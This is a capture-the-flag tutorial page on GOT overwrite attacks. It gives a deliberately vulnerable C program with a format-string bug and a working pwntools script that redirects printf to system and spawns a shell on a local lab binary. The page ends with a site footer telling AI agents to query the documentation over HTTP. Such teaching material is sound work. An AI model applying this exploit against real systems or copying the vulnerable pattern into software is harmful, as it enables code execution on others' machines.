# GOT Overwrite

[The **G**lobal **O**ffset **T**able (**GOT**)](/pwn/general-knowledge/plt-and-got.md) stores the actual location in imported libraries ( such as `libc` ) of functions. **Overwriting one of these addresses** can allow the attacker to gain control over the program or to execute arbitrary code.

## How it works ?

The attacker **overwrites a targeted GOT entry**, using [buffer overflow](/pwn/stack-exploitation/stack-buffer-overflow/basics.md) or [format string exploit](/pwn/stack-exploitation/format-string/data-leak.md) for example\*\*,\*\* **with the address of an arbitrary function** such as `system`. When the initial function is called, the program will jump to the arbitrary function instead of the intended function.

## Code example

```c
#include <stdio.h>

void vuln() {
    char buffer[300];
    
    while(1) {
        fgets(buffer, sizeof(buffer), stdin);

        printf(buffer);
        puts("");
    }
}

int main() {
    vuln();

    return 0;
}
```

Using format string it's possible to overwrite any GOT entry :

```python
from pwn import *

# Load the ELF file and set it as the binary in the context
elf = context.binary = ELF('./chall')

# Load the libc library and set its base address
# ASLR is assumed to be disabled
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
libc.address = 0xf7dc2000

p = process()

# Create a format string payload that will overwrite the printf
# GOT entry with the address of the system function
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})

# Send the payload
p.sendline(payload)

# Clean up the process
p.clean()

# Send the command to spawn a shell
p.sendline('/bin/sh')

# Enter interactive mode
p.interactive()
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/got-overwrite.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
